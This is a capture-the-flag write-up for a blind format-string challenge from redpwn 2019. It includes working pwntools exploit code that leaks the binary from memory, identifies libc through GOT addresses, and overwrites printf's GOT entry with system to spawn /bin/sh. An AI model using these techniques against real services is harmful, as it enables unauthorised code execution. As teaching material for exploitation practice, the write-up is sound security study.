You are trapped in a pitch-black cave with no food, water, flashlight, or self-esteem. A faint echo can be heard in the distance.
nc chall2.2019.redpwn.net 4007
Introduction
No binary was provided in this challenge, but it was easy to note that there was a format string vulnerability:
1 2 3
$ nc chall2.2019.redpwn.net 4007 %p 0x1000
Without the binary we can’t get the got addresses required to leak libc, but we can get the binary from memory, I used an old x86 binary from a previous challenge to check what was the default address:
We can start leaking from 0x8049000 until 0x804b000, the starting of 0x8048000-0x8049000 is just a repetition from 0x8049000-0x804a000, there is also something you should worry about, addresses that contains 0x0a (new line ‘\n’) bytes can’t be leaked, because the function used to read is fgets and it stops reading when it encounters new lines, in this cases I just insert a null byte, in the end is expected the binary to be slightly corrupted. If you want more details liveoverflow did a video about an identical challenge on his youtube channel around 2017 you can visit at https://www.youtube.com/watch?v=XuzuFUGuQv0
binary = '' out = '' x=0x8049000 while x < 0x8049000+0x2000: address = "0%x" % x length = 0 print address
if ('\n'in binascii.unhexlify(address)): #length = 1 out = 'a' binary += '\x00' else: r.sendline("%9$s"+"||||"+p32(x)) out = r.recvuntil('||||') print out r.recv(timeout=1) print'-----' out = out.replace('||||','') #print out #length = count_until(out) if out == '': out = 'a' binary += '\x00' else: binary += out with open('gotcha2.elf','wb+') as f: f.write(binary) x += len(out)
They binary is somehow corrupted as expected but it’s still possible to deduce which libc addresses are in there, as you can see in the picture above, right above extern functions you have some libc addresses, they look like they are from the GOT, with some trial and error I manged to which they belong by using libc-database (https://github.com/niklasb/libc-database).
First trying o find fgets:
1 2 3 4 5 6 7 8
./find fgets 0xF7FCD918 $ ./find fgets 0xF7FBDFE0 $ ./find fgets 0xF7E54450 $ ./find fgets 0xF7E38020 $ ./find fgets 0xF7E4C620 ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) archive-glibc (id libc6-i386_2.23-0ubuntu11_amd64) ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)
libc ID is libc6-i386_2.23-0ubuntu10_amd64, we now know which libc is and fgets got address is 0x804A014:
Doing the same thing for printf you would end up finding the same:
1 2 3 4 5
./find printf 0xF7E38020 archive-old-eglibc (id libc6-i386_2.11.1-0ubuntu7.11_amd64) ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) archive-glibc (id libc6-i386_2.23-0ubuntu11_amd64) ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)
Printf got address is 0x804a010:
Now it’s a matter of leaking libc by leaking fgets from GOT and overwriting got address of printf into system with format string:
s = '' s += p32(PRINTF_GOT) s += p32(PRINTF_GOT+2) s += '%7$ln'# clears the already existing got address s += '%{}x%7$hn'.format(FLAG_LOW-0x8) s += '%{}x%8$hn'.format(FLAG_HIGH-FLAG_LOW) r.sendline(s) r.recv() r.sendline("/bin/sh\x00") r.interactive()